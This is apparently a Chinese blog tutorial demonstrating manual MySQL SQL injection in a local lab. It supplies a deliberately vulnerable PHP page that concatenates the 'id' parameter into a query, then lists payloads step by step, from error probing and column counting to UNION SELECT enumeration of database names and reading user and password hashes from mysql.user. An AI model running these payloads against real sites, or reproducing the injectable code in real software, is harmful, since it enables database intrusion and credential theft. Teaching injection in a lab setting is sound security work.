mysql手工注入演示

演示环境准备:

php环境,存在漏洞的php脚本,mysql数据库以及数据表

php环境直接使用phpstudy即可

存在漏洞的脚本文件   

<!DOCTYPE html>
<html>
<head>
	<title>sql注入测试页面</title>
</head>
<?php

header("Content-type:text/html;charset=utf-8"); 

$con = mysqli_connect("localhost","root","root","springdemo","3306");
if (!$con)
  {
  die('DB Could not connect: ' . mysql_error());
  }

  echo "数据库连接成功<br/>根据id值在数据库中查询用户信息<br/><br/>";
?>

<body>
<form action="" method="get">
	<input type="text" name="id" size="20">&nbsp;<input type="submit" value="ok" >
</form>
</body>
<?php

  $id=$_REQUEST['id'];

  $sql="select * from user where id=".$id;

  echo "您输入的sql语句为:".$sql;

$result = mysqli_query($con,$sql);

while($row = mysqli_fetch_array($result))
  {
  echo "<br/><hr>";
  echo $row['id'] . "<--->" . $row['name'];
  echo "<br />";
  }

mysqli_close($con);
?>

phpstudy自带mysql数据库,数据库表的创建如下:

create table user(
	id int auto_increment,
	name varchar(50) not null,
	age int,
	primary key(id)
)default charset=utf8;

insert into user(name,age) values ('曹操',50);
insert into user(name,age) values ('刘备',55);
insert into user(name,age) values ('孙权',40);

然后再随意插入几条测试数据即可

 

重头戏来了,开始演示环节

1、    ?id=10'
    根据报错信息大致判断数据库类型为mysql数据库

 

 

2、    ?id=10 and 1=1        ?id=10 and 1=2
    两个payload的返回结果不一致,确定id参数存在注入点

 

 

3、    ?id=10 order by 1    ?id=10 order by 111111
    根据两个payload的返回结果可以知道此处支持order by,可以缩短对查询列数的判断时间

 

 

4、    ?id=10 order by 10
    程序报错,说明列数在1-10之间,后续二分法逐步查找   ?id=10 order by 6    ?id=10 order by 4        在?id=10 order by 3的时候程序返回正常,说明列数为3

 

 

5、    ?id=10 union all select 1,2,3
    判断数据在页面显示的位置,可以发现1,2 在页面显示,表明前两列可以作为后续查询使用

 

 

6、    ?id=10 union all select 1,schema_name,3 from information_schema.schemata
    查询出所有数据库的库名

 

 

7、    ?id=10 union all select user,password,3 from mysql.user
    查询mysql数据库的用户信息

 

8、    后续省略

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿雷由

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值